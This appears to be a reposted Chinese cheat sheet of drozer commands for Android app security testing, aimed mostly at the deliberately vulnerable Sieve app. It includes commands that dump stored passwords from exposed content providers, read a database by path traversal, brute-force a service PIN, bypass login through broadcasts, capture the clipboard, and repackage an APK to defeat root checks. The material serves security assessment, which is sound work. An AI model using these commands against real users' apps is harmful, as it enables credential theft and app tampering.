使用drozer安卓调试手册 | 宜武汇-ag真人国际厅网站

  • 1、使用工具以及环境
    win10
    夜神模拟器:
    python2
    adb
    drozer
    agent.apk
  • 2、工具安装

python2和adb需要设置环境变量

drozer需安装在python2的scripts目录下

把agent.apk安装到模拟器下

  • 3、启动环境
    打开agent.apk进行监听

使用命令adb devices找到我们的模拟器设备

(如果找不到设备,则需要在模拟器bin的目录下启动cmd)

因devices 31415端口,使用adb进行端口转发
adb forward tcp:31415 tcp:31415

adb shell pm list package 查看所有包名

启动

drozer console connect

set pythonioencoding=utf-8
run app.package.list
run app.package.list -f 包名

获取基本信息run app.package.info -a 包名

查看四大组件攻击面

利用暴露的activity实现登陆绕过
首先使用drozdr检测app中暴露的activity
run scanner.provider.finduris -a 包名,这里可以看到暴露的主件还是有不少:
调用服务组件: run app.service.start –action 服务名 –component 包名 服务名
调用activity组件: run app.activity.start –component 包名 组件名,可以用来检测登陆绕过漏洞

检测注入 run scanner.provider.injection -a com.mwr.example.sieve
查看是否存在数据泄露 run scanner.provider.finduris -a com.xxx.xzxx
检测目录遍历 run scanner.provider.traversal -a com.mwr.example.sieve

检测可以访问的url: run scanner.provider.finduris -a 包名
查询url的数据: run app.provider.query url

检测有没有拒绝服务漏洞:
发送空action: run app.broadcast.send –component 包名 广播名
发送空extras: run app.broadcast.send –action 广播名

  • 基本测试命令:

  • 查找已安装应用程序的包名称
    dz> run app.package.list -f sieve

  • 获取应用程序的清单
    dz> run app.package.manifest com.mwr.example.sieve
  • 获取攻击面
    dz> run app.package.attacksurface com.mwr.example.sieve
  • 检查导出的活动
    dz> run app.activity.info -a com.mwr.example.sieve
  • 检查启动意图(主要活动)
    dz> run app.package.launchintent com.mwr.example.sieve
  • 调用导出的活动
    dz> run app.activity.start –component
  • 检查导出的内容提供者
    dz> run app.provider.info -a com.mwr.example.sieve
  • 查找内容 uri
    dz> run app.provider.finduri com.mwr.example.sieve
  • 如果在导出的内容提供程序中找到了 uri 路径,则使用以下命令运行该路径以查找任何有用的数据,(在筛选中,所有密码都被转储)
    dz> run app.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords
  • 将条目插入内容提供商数据库
    dz> run app.provider.insert content://com.mwr.example.sieve.dbcontentprovider/passwords –integer _id 3 –string service facebook –string username tyrone –string password za76wr9murdnnew4tuiidvkrukleamg5h84t –string email tyrone@gmail.com
  • 查找具有特定权限的应用
    dz> run app.package.list -p android.permission.install_packages
  • 查找使用特定 uid 运行的应用程序,在本例中为 system
    dz> run app.package.list -u 1000
  • 查找应用程序以查看特定的 mime 类型
    dz> run app.activity.forintent –action android.intent.action.view –mimetype application/pdf
  • 查找设备上的所有可浏览活动
    dz> run scanner.activity.browsable
  • 遍历

  • 使用内容提供程序读取外部文件
    dz> run app.provider.read content://com.mwr.example.sieve.filebackupprovider/system/etc/hosts

  • 目录遍历以读取/sieve 中的数据库
    dz> run app.provider.read content://com.mwr.example.sieve.filebackupprovider/../../../../data/data/com.mwr.example.sieve/databases/database.db >database.db
  • 自动化遍历
    dz> run scanner.provider.traversal -a content://com.mwr.example.sieve.filebackupprovider

  • 利用服务

  • 获取服务
    dz> run app.service.info -a com.mwr.example.sieve
  • 利用sieve中的handlemessage()函数(authservice服务的代码分析)
    dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.authservice –msg 2354 9234 1 –extra string com.mwr.example.sieve.pin 1337 –bundle-as-obj
    在上面的请求中,pin 1337可以被暴力破解。
    请参阅 mahh 第 211 页。
  • 利用 cryptoservice 加密消息dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.cryptoservice –msg 3452 2 3 –extra string com.mwr.example.sieve.key testpassword –extra string com.mwr.example.sieve.string “string to be encrypted” –bundle-as-obj

  • 利用广播接收器

  • 获取广播接收器
    dz> run app.broadcast.info -a com.mwr.example.browser

  • 如果应用程序希望广播接收器捕获意图,然后显示经过身份验证的活动,则只有在登录后才能生成该广播。但是在代码审查之后,攻击者可以使用 drozer 手动发送该意图。
    示例广播接收器:
    android:exported=”true”>




    dz> run app.broadcast.send –action com.myapp.correct_creds
    (第 217 页 – mahh)
  • 使用广播接收器的意图嗅探/捕获意图,这些接收器用于其他广播接收器
    dz> run app.broadcast.sniff –action android.intent.action.battery_changed

dz> run app.broadcast.sniff –action com.myapp.user_login(发送广播的动作名称)

  • 其他命令

  • 使用 drozer 模块查找 webview 是否可利用
    dz> run scanner.misc.checkjavascriptbridge -a com.vulnerable.js

  • 代码执行

  • 从剪贴板查看复制的文本
    dz> run post.capture.clipboard
    2.查看app是否允许备份数据
    dz> run app.package.backup -f com.mwr.example.sieve

  • 确定一个包是否可调试
    dz> run app.package.debuggable -f sieve
    如果它是可调试的,您可以作为该应用程序运行命令
    shell@android:/ $ run-as com.mwr.example.sieve
  • 反编译/编译/签名apk

  • 使用 apktool 将应用程序转换为 baksmali
    $ java -jar apktool.jar d com.joeykrim.rootcheck.apk rootcheck

  • 然后 grep 像“su”这样的字符串绕过根检查(发挥你的创造力)
  • 再次编译应用程序:
    $ java -jar apktool.jar b rootcheck/ rootcheck-modified.apk
  • 签署 apk:
    $ jarsigner -verbose -sigalg sha1withrsa -digestalg sha1 -keystoremykey.keystore rootcheck-modified.apk alias_name
    注意:使用 jarsigner v1.6,更改版本为
    $ sudo update-alternatives –config jarsigner

安装包签名

在android中,包名相同的两个apk会被认为是同一个应用。当新版本覆盖旧版本时,签名证书必须一致,否则会被拒绝安装(即使开启了“允许未知来源的应用”)。如果apk没有使用自己的证书进行签名,将会失去对版本管理的主动权。本项检测是检测客户端是否经过恰当签名(正常情况下应用都应该是签名的,否则无法安装),签名是否符合规范。

测试步骤

打开cmd,进入到jdk的安装路径,c:\program files\java\jdk1.8.0_111\bin,输入命令:
jarsigner.exe -verify apk文件路径
测试结果如下:

如上图,如果证书指纹与客户一致,说明测试结果为安全。

检测签名的字段是否正确标示客户端程序的来源和发布者身份,输入命令:
jarsigner.exe -verify -verbose -certs apk文件路径,若各个字段与预期的一致,则测试通过。

要说明的是,只有在使用直接客户的证书签名时,才认为安全。debug证书、第三方(如开发方)证书等均认为存在风险。

manifest package
apkanalyser-敏感信息

一键提取安卓应用中可能存在的敏感信息

劫持检测:
hijackactivity

二次打包:

应用数据任意备份风险

allowbackup值设为true

应用程序调试风险

allowbackup值设为true

二次签名漏洞

首先删除应用本身的签名,接着使用另外的签名对应用进行重签名。安装并打开重新签名后的app,过程中未发生错误

边信道信息泄漏

观察日志,泄露敏感信息
adb logcat

代码反编译机制缺陷

将应用反编译成java代码,可进行代码注入、利用木马程序对应用进行恶意篡改行为。

原文链接:https://xz.aliyun.com/t/10605

网络摘文,本文作者:15h,如若转载,请注明出处:https://www.15cov.cn/2023/08/27/使用drozer安卓调试手册/

发表评论

邮箱地址不会被公开。 必填项已用*标注

网站地图